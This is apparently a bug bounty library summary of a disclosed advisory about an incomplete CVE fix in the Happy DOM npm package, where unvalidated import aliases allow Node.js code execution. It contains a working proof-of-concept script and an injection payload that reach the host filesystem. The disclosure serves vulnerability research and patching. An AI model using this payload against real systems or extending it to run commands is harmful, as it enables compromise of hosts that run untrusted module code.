# Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

Happy DOM's ESM compiler interpolates unvalidated import aliases into generated destructuring code, letting a crafted import alias execute host Node.js code.

- Payout: Research
- Severity: high
- Program: Happy DOM
- Found by: viecon
- Disclosed: 2026-10-23
- CVE: CVE-2026-115895
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-834v-8h66-3h79
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-834v-8h66-3h79
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:rce

**Target:** ECMAScriptModuleCompiler named import handler in happy-dom npm package
**Root cause:** The named import handler extracts the local alias and interpolates it into generated destructuring binding syntax without validating it as a JS identifier, unlike the patched export handler.
**Steps:**
1. Create package.json with happy-dom 20.14.5 and dep.json containing `{}`.
2. Build a Window with `enableJavaScriptEvaluation: true` and a virtual server serving cwd.
3. Append a `<script type="module">` whose text is `import { missing as injected = <payload> } from './dep.json' with { type: 'json' };`.
4. Payload uses `globalThis.constructor.constructor(`return process`)().getBuiltinModule(`node:fs`).mkdirSync(...)` to create HAPPY_DOM_RCE_PROOF.
5. Call `window.happyDOM.waitUntilComplete()` and check the proof directory exists.
**How found:** Noticed the CVE-2026-33943 fix only validated `importName` in the export handler; hypothesized the parallel named-import alias path was unvalidated and tested an invalid ESM alias through the public Window API.
**Exploitation:** Attacker-supplied module source is compiled by Happy DOM; the invalid alias is transformed into a valid destructuring default initializer that runs because the imported JSON lacks the `missing` property, reaching Node process and fs to write to the host filesystem.
**Escalation:** Backtick strings survive quote stripping, allowing escape to `globalThis.constructor.constructor` and Node builtins for arbitrary file/command execution.
**Insight:** When a fix adds identifier validation to one code-generation path, audit sibling handlers that interpolate the same class of user-controlled tokens; also note that JSON import attributes skip the circular-import re-emission that would otherwise break the injected syntax.

## Proof of concept (copied exactly from the original report)

**Malicious import alias payload module source**

```
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

**poc.mjs script injecting alias via Window**

```
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
```

**Injected initializer reaching Node process and fs**

```
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
```

